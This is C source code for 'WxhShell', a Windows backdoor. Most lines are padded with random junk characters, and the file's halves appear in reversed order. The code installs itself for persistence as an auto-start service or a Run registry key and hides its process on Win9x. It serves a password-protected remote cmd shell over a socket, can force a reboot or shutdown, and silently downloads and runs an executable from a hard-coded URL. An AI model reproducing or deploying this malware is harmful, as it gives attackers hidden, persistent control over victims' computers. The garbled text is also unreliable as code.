    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ^J>m4`  
    if(Boot(SHUTDOWN)) kkZ}&OXS;  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); L@O>;zp;  
    else { ~9o@1TO:v  
    closesocket(wsh); _5S0A0  
    ExitThread(0); KC}G_"f.$  
    } gnZ#86sO  
    break; * ;sz/.  
    } 6rbR0dSgx  
  // 获取shell %pjY^tM/  
  case 's': { @ ,oc%m  
    CmdShell(wsh); fLs>|Rh  
    closesocket(wsh); ]*zG*.C  
    ExitThread(0); Pteti  
    break; pmBN?<  
  } !x-__[#  
  // 退出 OP+*%$wR  
  case 'x': { <m\Y$Wv  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); .BJoY <P*  
    CloseIt(wsh); (L4llZ;q  
    break; Vp; `!+z"  
    } 1.@{5f3T  
  // 离开 `Eg X#  
  case 'q': { H2|'JA#v  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); (&79}IEd  
    closesocket(wsh); .*6NqX$  
    WSACleanup(); 'eBD/w5U  
    exit(1); ~roNe|P  
    break; )0 E_Y@  
        } 5D<Zbn.>q  
  } -cUbIbW  
  } *2/qm:gB  
tt-ci,X+  
  // 提示信息 G0h&0e{w  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); KsIHJr7-  
} $yU}56(z~  
  } <= _!8A  
BYdG K@ouk  
  return; 8aHE=x/TL  
} [L-wAk:Fb  
qPz_PRje  
// shell模块句柄 qGN> a[D  
int CmdShell(SOCKET sock) *>?N>f"  
{ 4P?`<K'  
STARTUPINFO si; M^\`~{*T  
ZeroMemory(&si,sizeof(si)); 1E!.E=Y ?M  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 6H2Bf*i  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; lFf>z}eLy  
PROCESS_INFORMATION ProcessInfo; }U=}5`_]D  
char cmdline[]="cmd"; D"$ 97  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); T]Q4=xsv  
  return 0; *6<4ECa7C  
} ).GM 0-y  
TR*vZzoy  
// 自身启动模式 0J[B3JO@M  
int StartFromService(void) oMYFfnoAa  
{ &Oz  
typedef struct 0?t;3 z$n  
{ ye(av&Hn  
  DWORD ExitStatus; %VB4/~ "  
  DWORD PebBaseAddress; Ys_L GfK  
  DWORD AffinityMask; o1\N)%  
  DWORD BasePriority; LtwfL^#  
  ULONG UniqueProcessId; 88:YU4:l`N  
  ULONG InheritedFromUniqueProcessId; VDv.N@ ) 7  
}   PROCESS_BASIC_INFORMATION; zk3\v "  
28M^ F~0  
PROCNTQSIP NtQueryInformationProcess; 9Bpb?  
?{ \7th37  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; id+EBVHAd  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; :I /9j=@1  
HZ!<dy3  
  HANDLE             hProcess; z|],s]F>G  
  PROCESS_BASIC_INFORMATION pbi; qYVeFSS  
euV!U}Xr  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); A`~?2LH,~F  
  if(NULL == hInst ) return 0; (qR;6l  
\;_tXb}F  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); L;g2ZoqIr0  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ^-Arfm%dn  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); #a@jt  
W,,3@:  
  if (!NtQueryInformationProcess) return 0; m4uh<;C~  
R-W.$-rF  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); r/':^Ex  
  if(!hProcess) return 0; .P T7  
F@ |(  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; @6|0H`kv  
[oBRH]9cq  
  CloseHandle(hProcess); Ivcy=W=Jk  
hN0h'JJ[7  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 90F.9rh  
if(hProcess==NULL) return 0; /Dc54U n  
`=V1w4J  
HMODULE hMod; U7/ =| Z  
char procName[255]; SR.xI:}4  
unsigned long cbNeeded; 3NZK$d=4  
%*<Wf4P"  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); CU c,  
RWu< dY#ym  
  CloseHandle(hProcess); $L|+Z>x  
Nk%$;Si  
if(strstr(procName,"services")) return 1; // 以服务启动 XmwR^  
Hr]  
  return 0; // 注册表启动 FmF[S&gFRs  
} c3rj :QK6I  
opn6 C )  
// 主模块 wNl6a9#  
int StartWxhshell(LPSTR lpCmdLine) *'-C/  
{ ;#Qv )kS*  
  SOCKET wsl; bhg6p$411  
BOOL val=TRUE; 6Rif&W.xy  
  int port=0; GU1cMe  
  struct sockaddr_in door; mW[w4J+7P  
IcqzMm b  
  if(wscfg.ws_autoins) Install(); FncP,F$8   
wj'fdrY5h  
port=atoi(lpCmdLine); X-bM`7'H  
L`O7-'`  
if(port<=0) port=wscfg.ws_port; #/9Y}2G|]  
? YIe<  
  WSADATA data; ./DlHS;  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; >D##94PZ  
h<'tQGC  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   Kx[+$Qt  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); )B-[Q#*A-  
  door.sin_family = AF_INET; #@V<{/;49  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); .2rpQa/h  
  door.sin_port = htons(port); Z3Ww@&bU  
.!2 u#A  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { R vU'8Y?>w  
closesocket(wsl); DBu8}2R  
return 1; xf8e"mD  
} ,0nrSJED  
d7&d FvG  
  if(listen(wsl,2) == INVALID_SOCKET) { Ps 0<CUyI  
closesocket(wsl); eLHhfu;k  
return 1; x}` )'a[  
} m,6u+Z ,  
  Wxhshell(wsl); .A/xH x  
  WSACleanup(); 8{icY|:MTN  
.DnG}884  
return 0;  cFjD*r-  
zw5Ol%JF  
} A'u]z\&%c  
-m=!SQ >9  
// 以NT服务方式启动 aAd1[?&  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) m>w{vqPwJ  
{ Gf~^Xv!T  
DWORD   status = 0; o?= &kx  
  DWORD   specificError = 0xfffffff; Jfv'M<I  
qM Qu!%o  
  serviceStatus.dwServiceType     = SERVICE_WIN32; bq5we*" V  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; SuV3$-);z  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; x=\W TC  
  serviceStatus.dwWin32ExitCode     = 0; {SZv#MrK  
  serviceStatus.dwServiceSpecificExitCode = 0; vkYiO]y  
  serviceStatus.dwCheckPoint       = 0; g^=Ruh+  
  serviceStatus.dwWaitHint       = 0; Ya<V@qd  
,k@i Nid  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); "ZNy*.G|[  
  if (hServiceStatusHandle==0) return; ?< Ma4yl</  
|Z o36@s  
status = GetLastError(); &`]T# ">  
  if (status!=NO_ERROR) RA+M.  
{ X*Q<REDB  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; lF7".  
    serviceStatus.dwCheckPoint       = 0; NUh%\{  
    serviceStatus.dwWaitHint       = 0; NP!LBB)=Y  
    serviceStatus.dwWin32ExitCode     = status; bVZA f  
    serviceStatus.dwServiceSpecificExitCode = specificError; Crla~h?=  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); i_!$bk< yo  
    return; ^H&`e"|R9  
  } #?>p l.  
cnY}^_  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; CqX*.j{  
  serviceStatus.dwCheckPoint       = 0; m("KLp8  
  serviceStatus.dwWaitHint       = 0; 5VVU%STP  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); >B$ IrM7J  
} lEQj62zIQ  
iK5[P  
// 处理NT服务事件,比如:启动、停止 }-Nc}%5  
VOID WINAPI NTServiceHandler(DWORD fdwControl) i\4YT r,  
{ S%G&{5  
switch(fdwControl) z 7cA5'c  
{ a=B $L6*4  
case SERVICE_CONTROL_STOP: %82:?fq  
  serviceStatus.dwWin32ExitCode = 0; OwDwa~  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; (enOj0  
  serviceStatus.dwCheckPoint   = 0; %bG\  
  serviceStatus.dwWaitHint     = 0; 02:`Joy2D  
  { @!!5el {  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Smh=Q4,W  
  } $p }q,f.  
  return; E;k$ICOXA  
case SERVICE_CONTROL_PAUSE: }1a(*s,s-^  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; XZTH[#MqeI  
  break; /Ea&Zm  
case SERVICE_CONTROL_CONTINUE: (2RuQgO  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; B\ZCJaMb  
  break; ^%U`|GBZp  
case SERVICE_CONTROL_INTERROGATE: +t]Ge >S  
  break; J'I1NeK  
}; +}mj;3i  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); (K ]wk9a  
} ,a0RI<D  
fQw=z$  
// 标准应用程序主函数 lm{4x~y$h  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) VEL!-e^X&  
{ 3r?T|>|  
3n_t^=  
// 获取操作系统版本 ,RAP_I!_x  
OsIsNt=GetOsVer(); O^3XhTW^\~  
GetModuleFileName(NULL,ExeFile,MAX_PATH); aOUTKyR ~  
*iSE)[W  
  // 从命令行安装 $>wN:uN(  
  if(strpbrk(lpCmdLine,"iI")) Install(); + :b"0pu-H  
'+GYw$  
  // 下载执行文件 #~r+Z[(,p  
if(wscfg.ws_downexe) { F}B2nL&  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) {X nBj}C  
  WinExec(wscfg.ws_filenam,SW_HIDE); <#./q LSR  
} 3CSwcD  
A(+V{1 L'  
if(!OsIsNt) { Hm~.u.)\.  
// 如果时win9x,隐藏进程并且设置为注册表启动 iQiXwEAi[  
HideProc(); cA90FqUH  
StartWxhshell(lpCmdLine); Yqt~h  
} Yic4|N?u  
else Gy'/)}}Z  
  if(StartFromService()) |B2>}Y/  
  // 以服务方式启动 BG1hk!  
  StartServiceCtrlDispatcher(DispatchTable); MTbCL53!-  
else y8v0>V0)  
  // 普通方式启动 a\p`J9Z@  
  StartWxhshell(lpCmdLine); vhU#<59a1  
1 a%1C`d  
return 0; #A< |qd  
} !H9zd\wc  
LZJFp@  
<yw=+hz[u  
,GtN6?  
=========================================== JUq7R%"h6  
T IyHM1+  
 Ozsvsa  
AG G xx?I  
W7\UZPs5t  
*4Z! 5iOs  
" )<5hga][~a  
0/~{,  
#include <stdio.h> oSO~72  
#include <string.h> g(o^'f  
#include <windows.h> @[TSJi  
#include <winsock2.h> !]8QOn7=  
#include <winsvc.h> DeQ ZDY //  
#include <urlmon.h> J[\8:qE  
q9Lq+4\  
#pragma comment (lib, "Ws2_32.lib") ~x+&cA-0A2  
#pragma comment (lib, "urlmon.lib") Saks~m7,  
C&.Q|S2_  
#define MAX_USER   100 // 最大客户端连接数  Q 6r  
#define BUF_SOCK   200 // sock buffer WvcPOt8Bp>  
#define KEY_BUFF   255 // 输入 buffer :;&3"-  
7lzmAih  
#define REBOOT     0   // 重启 ,Mn`kL<F  
#define SHUTDOWN   1   // 关机 Ai`0Ud,M@  
hdbm8C3  
#define DEF_PORT   5000 // 监听端口 Ed#Hilk'  
VF~kjH2>  
#define REG_LEN     16   // 注册表键长度 N1l^%Yf J  
#define SVC_LEN     80   // NT服务名长度 }~v0o# I  
NU 3s^ 8\(  
// 从dll定义API f!B\X*|  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); [QwqP=-6  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); V$ " ]f6  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); UrdSo"%  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ERfSJ  
-Y>QKS  
// wxhshell配置信息 'lgS;ItpKu  
struct WSCFG { VH~ZDZ1P  
  int ws_port;         // 监听端口 `I(5Aj"  
  char ws_passstr[REG_LEN]; // 口令 O7f"8|=HX  
  int ws_autoins;       // 安装标记, 1=yes 0=no I\= &v^]  
  char ws_regname[REG_LEN]; // 注册表键名 9*(uJA  
  char ws_svcname[REG_LEN]; // 服务名 W: 3fLXk+  
  char ws_svcdisp[SVC_LEN]; // 服务显示名  &/)To  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 o4YF,c+>q  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ]QF*\2b-I2  
int ws_downexe;       // 下载执行标记, 1=yes 0=no V B=jK Mi  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" `bNLmTS  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 'D^@e0.3  
a.XMeB  
}; jq(rnbV  
u/` t+-A  
// default Wxhshell configuration 8@KGc )k  
struct WSCFG wscfg={DEF_PORT, \Bl`;uXb  
    "xuhuanlingzhe", YcM 0A~<  
    1, m3`J9f,c/  
    "Wxhshell", 9#\oGzDN  
    "Wxhshell", + ;B K|([#  
            "WxhShell Service", 2'}/aL|G  
    "Wrsky Windows CmdShell Service", w2V:g$~,  
    "Please Input Your Password: ", 2&2t8.<  
  1, ;Hu`BFXyD  
  "http://www.wrsky.com/wxhshell.exe", I5W#8g!{  
  "Wxhshell.exe" i(S}gH4*o  
    }; |1m2h]];Q  
\*30E<;C_  
// 消息定义模块 N{K[sXCW  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; lkQ(?7  
char *msg_ws_prompt="\n\r? for help\n\r#>"; >oyZD^gj  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; PC& (1kJ  
char *msg_ws_ext="\n\rExit."; jB\Knxm v  
char *msg_ws_end="\n\rQuit."; .:Zb~  
char *msg_ws_boot="\n\rReboot..."; (l)r.Vj  
char *msg_ws_poff="\n\rShutdown..."; Jwbb>mB!  
char *msg_ws_down="\n\rSave to "; 'c$)}R I7  
Az6tu <  
char *msg_ws_err="\n\rErr!"; ohPDknHp  
char *msg_ws_ok="\n\rOK!"; bO }9/Ay  
rG'W#!^*  
char ExeFile[MAX_PATH]; #mRT>]di`D  
int nUser = 0; ]mx1djNA  
HANDLE handles[MAX_USER]; Gyy?cn6_  
int OsIsNt; bqQR";  
7Dz-xM_?  
SERVICE_STATUS       serviceStatus; E<tJ8&IGk  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; bDV/$@p  
gnw?Y 2  
// 函数声明 "lKR~Qi  
int Install(void); f<Y g_TG  
int Uninstall(void); wU&vkb)k  
int DownloadFile(char *sURL, SOCKET wsh); Gi,4PD-ro  
int Boot(int flag); DxG8`}+  
void HideProc(void); Y".4."NX  
int GetOsVer(void); :a)`iJnb  
int Wxhshell(SOCKET wsl); Jy-V\.N>s  
void TalkWithClient(void *cs); 8LGNV&Edg  
int CmdShell(SOCKET sock); OJ<V<=MYZ  
int StartFromService(void); l'Uj"9r,  
int StartWxhshell(LPSTR lpCmdLine); {\n?IGP?wd  
uiaZ@  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); P:m6:F@hO  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); N[sJ5oF  
Rrp-SR?O  
// 数据结构和表定义 A 7zL\U4  
SERVICE_TABLE_ENTRY DispatchTable[] = nZ# 0L`@"Y  
{ _O`s;oc  
{wscfg.ws_svcname, NTServiceMain}, ' -rRD\"q  
{NULL, NULL} ]=(PtzVa  
}; .\"8H1I\T  
?PU7xO;_  
// 自我安装 .-cx9&  
int Install(void) D8)6yPwE  
{ R-1C#R[  
  char svExeFile[MAX_PATH]; + y|Q7+  
  HKEY key; B5!|L)7>{p  
  strcpy(svExeFile,ExeFile); 70N Lv  
X 3(*bj>P  
// 如果是win9x系统,修改注册表设为自启动 N$P\$  
if(!OsIsNt) { otdm r w|  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { />V& OX `  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); |) CfO4  
  RegCloseKey(key); A0H6}53, $  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { NoT%z$ 1n  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); r!/<%\S  
  RegCloseKey(key); "_n})s f  
  return 0; <!derr-K  
    } I$oqFF|D  
  } d, 0Klew  
} $SdpF-'  
else { ,y[8Vz?:  
lZ?YyRsa6&  
// 如果是NT以上系统,安装为系统服务 <4.j] BE  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); G/yYIs  
if (schSCManager!=0) Z8\/Fb  
{ G)&S%R!i\N  
  SC_HANDLE schService = CreateService 2X0<-Y#'  
  ( @8 lT*O2j  
  schSCManager, yG,uD!N]|  
  wscfg.ws_svcname, F<Ig(Wl#az  
  wscfg.ws_svcdisp, F_nXsKem  
  SERVICE_ALL_ACCESS, y*#+:D]o*  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , mIv}%hD  
  SERVICE_AUTO_START, wfQImCZ>l  
  SERVICE_ERROR_NORMAL, P$&l1Mp  
  svExeFile, KDLrt  
  NULL, 1i@a? 27|  
  NULL, #F'8vf'r  
  NULL, Wn Ng3'6  
  NULL, q)OCY}QA  
  NULL }[SYWJIc  
  ); O<y65#68Z  
  if (schService!=0) SL?YU(a  
  { !>)o&sM  
  CloseServiceHandle(schService); E*d UJ.>  
  CloseServiceHandle(schSCManager); #S"s8wdD  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); \qtdbi|Y  
  strcat(svExeFile,wscfg.ws_svcname); !>EK %OO  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { m`Pk)c0  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Sn[/'V^$a  
  RegCloseKey(key); @oQ"FLF.  
  return 0; ;e6- *  
    } __`6 W1  
  } S%df'bh$  
  CloseServiceHandle(schSCManager); q5\iQ2f{WV  
} #E#Fk3-ljQ  
} Nu@dMG<5  
| &/_{T  
return 1; e;9x%kNs!  
} Mt&n|']`8  
@nIoIz D~  
// 自我卸载 8+8L'Yv;  
int Uninstall(void) z+<ofZ(.  
{ VUZeC,FfO  
  HKEY key; O6Y1*XTmH6  
TEi1,yc  
if(!OsIsNt) { ?b\oM v5y  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Z=(Tq1t  
  RegDeleteValue(key,wscfg.ws_regname); qI*7ToBJ  
  RegCloseKey(key); hp}JKj@  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { -!IeP]n#P  
  RegDeleteValue(key,wscfg.ws_regname); t)4] 2z)$  
  RegCloseKey(key); i'[! 'HY  
  return 0; :jFZz%   
  } $0Un'"`S  
} R]4 h)"  
} ~"r(PCa@  
else { >S]"-0tGD=  
D+{& zo  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ~#7uNH2  
if (schSCManager!=0) H/ar: j  
{ \w)ddc!ZS  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); \f@obp  
  if (schService!=0) `@8O|j  
  { D7g B%  
  if(DeleteService(schService)!=0) { 5),&{k!  
  CloseServiceHandle(schService); m |Sf'5fK  
  CloseServiceHandle(schSCManager); EF'8-*  
  return 0; Y)DF.ca(  
  } \4>& zb4  
  CloseServiceHandle(schService); >.-4CJ])d  
  } A+(+Pf U  
  CloseServiceHandle(schSCManager); DSlO.) dHu  
} YmLpGqNv  
} .z^O y_S{  
ubM  N  
return 1; f( <O~D  
} W#\{[o  
9V>C %I  
// 从指定url下载文件 v1=N?8Hz1  
int DownloadFile(char *sURL, SOCKET wsh) W=Mdh}u_I  
{ bZpx61h|  
  HRESULT hr; 8L5O5F'  
char seps[]= "/"; gObafIA  
char *token; K|=va>   
char *file; jtgj h\Nt  
char myURL[MAX_PATH];  2.'hr/.  
char myFILE[MAX_PATH]; &ju.5v|  
m;!X{CV  
strcpy(myURL,sURL); JA4}B wn  
  token=strtok(myURL,seps); k}!'@  
  while(token!=NULL) xXSfYW  
  { nX8ulGGs  
    file=token; eo^C[# .  
  token=strtok(NULL,seps); wV\G$|Y  
  } C$4{'J-ZH  
H'Jz:6   
GetCurrentDirectory(MAX_PATH,myFILE); 3Pvz57z{  
strcat(myFILE, "\\"); gZ8JfA_\R(  
strcat(myFILE, file); . Ctd$  
  send(wsh,myFILE,strlen(myFILE),0); h=^UMat-  
send(wsh,"...",3,0); |-z"6F r-  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); bmJdZD7-<k  
  if(hr==S_OK) {u4AOM=)  
return 0; Y$s4 *)%  
else N_d{E/  
return 1; 2Sk"S/4}Z  
k106fT]eX  
} #Y'ewu;qJ  
p-H}NQ\  
// 系统电源模块 T[MDjhv'  
int Boot(int flag) tToP7q^  
{ \UZ7_\  
  HANDLE hToken; @76I8r5l  
  TOKEN_PRIVILEGES tkp; zx@L sp  
c/V0AKkS 8  
  if(OsIsNt) { Rln\  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); syCT)}T6z  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Rw hKW?r+  
    tkp.PrivilegeCount = 1; dVZ~n4  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; KyBtt47\  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); <k {_YRB  
if(flag==REBOOT) { HVK0NI  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) )TEod!]  
  return 0; >E3-/)Ti  
} ppGWh  
else { @FF80U4'  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) `qRyh}Ax"  
  return 0; _-2n tO<E  
} 5&xbGEP$  
  } ZD4aT1|Q7  
  else { x+b.9f4xJ  
if(flag==REBOOT) { U>@AE  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) u"m TS&  
  return 0; BCtKxtbS  
} f?> ?jf  
else { &.qLE  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 6C/Pu!Sx?  
  return 0; oTrit_@3  
} &h_Y?5kK  
} t+\<i8  
}pGjc_:']  
return 1; q(A_k+NL  
} }$g"|;<ha  
;#mm_*L%@  
// win9x进程隐藏模块 t<`d*M2w  
void HideProc(void) y>7 r;e  
{ p,!IPWo  
q_98=fyE6  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); xxwbX6^d  
  if ( hKernel != NULL ) lCTXl5J5  
  { Zr=B8wuT  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ?FwHqyFVlQ  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); L >)|l  
    FreeLibrary(hKernel); W8r"dK  
  } piqh7u3~  
Ya(3Z_f+VZ  
return; vU(fd!V ?  
} H)CoByaj  
'-cayG   
// 获取操作系统版本 hT`&Xb  
int GetOsVer(void) z ?F`)}  
{ ?@kz`BY  
  OSVERSIONINFO winfo; I!SIy&=W  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); xM@s`s|n  
  GetVersionEx(&winfo); ]9c{qm}y  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Mpco8b-b  
  return 1; | g1Cs  
  else KZa6*,, s  
  return 0; (!qfd Qq#  
} C6h[L  
%LD(S*>7  
// 客户端句柄模块 mn*}U R  
int Wxhshell(SOCKET wsl) PZO.$'L|7  
{ @(+\*]?^&  
  SOCKET wsh; L,ax^]  
  struct sockaddr_in client; U"oHPK3"TA  
  DWORD myID; )rlkQ'DN  
QpRk5NeLe  
  while(nUser<MAX_USER) yE(<F2  
{ a .?AniB0  
  int nSize=sizeof(client); G9GHBwT  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 06Q9X!xD  
  if(wsh==INVALID_SOCKET) return 1; s^4wn:*$zd  
`^ a:1^  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); teC/Uf 5  
if(handles[nUser]==0) :Nwv &+  
  closesocket(wsh); ` N R,8F  
else Q7{{r&|t&  
  nUser++; s,kY12<7m  
  } p=#/H ,2  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); E9Dy)f]#W  
E7hs+Mh  
  return 0; _8-T?j**   
} /3 VO!V]u  
PgHmOs  
// 关闭 socket Qr7|;l3  
void CloseIt(SOCKET wsh) ,4 q^(  
{ 27,c}OS5o  
closesocket(wsh); 7I@df.rf6J  
nUser--; {u9n?Z%  
ExitThread(0); 7FD,TJs  
} 3x 7fa^umR  
5wha _Yet  
// 客户端请求句柄 I+SfZ:q ^  
void TalkWithClient(void *cs) !&3"($-U3G  
{ R lbJ4`a  
D>ou,  
  SOCKET wsh=(SOCKET)cs; qR_Np5nHF  
  char pwd[SVC_LEN]; }Kp$/CYd  
  char cmd[KEY_BUFF]; bg_io*K  
char chr[1]; @F*z/E}e  
int i,j; 3orL;(.G  
5|>ms)[RQ  
  while (nUser < MAX_USER) { r`.Bj0  
p GF;,h>  
if(wscfg.ws_passstr) { }_}    
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); bj0<A  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); FP7N^HVBG=  
  //ZeroMemory(pwd,KEY_BUFF); #<U@SMv  
      i=0; 9ZR"Lo>3e+  
  while(i<SVC_LEN) { b$_qG6)IJO  
>{-rl@^H:  
  // 设置超时 6ecx!uc$  
  fd_set FdRead; >Z<ZT  
  struct timeval TimeOut; 7GG`9!l]D  
  FD_ZERO(&FdRead); UH;bg}=8  
  FD_SET(wsh,&FdRead); a`]ZyG*P  
  TimeOut.tv_sec=8; {7MY*&P$,  
  TimeOut.tv_usec=0; v6 |[p  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ,\#j6R,{I  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); mG@[~w+  
RlU?F  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); -*hPEgcV9  
  pwd=chr[0]; |9Yx`_DF  
  if(chr[0]==0xd || chr[0]==0xa) { .6y*Z+Zg  
  pwd=0; lbw+!{Ch  
  break; &5sPw^{,H  
  } l0qHoM,1Y[  
  i++; rc7c$3#X  
    } =|dm#w_L"  
vRD(* S9^  
  // 如果是非法用户,关闭 socket VS>hi~j  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); o1b.a*SZ  
} 4>fj @X(3  
g>'6"p;  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); H 8 6 6,]  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); e=IbEm{|  
&B=z*m  
while(1) { 'J!Gip ,  
yB=R7E7  
  ZeroMemory(cmd,KEY_BUFF); )8n?.keq  
w40*vBz  
      // 自动支持客户端 telnet标准   B|+% ExT7  
  j=0; yd'cLZd<}  
  while(j<KEY_BUFF) { B# .xs>{N  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); H4{7,n  
  cmd[j]=chr[0]; 'O9Yu{M  
  if(chr[0]==0xa || chr[0]==0xd) { LWSy"Cs*  
  cmd[j]=0; z|Xt'?9&n  
  break; T nyLVIP  
  } !U(KQ:j  
  j++; K|6}g7&X  
    } xG Y!r"[  
e8egxm  
  // 下载文件 bNtOqhi  
  if(strstr(cmd,"http://")) { PJe \PGh  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); m7XN6zX  
  if(DownloadFile(cmd,wsh)) :0Y.${h  
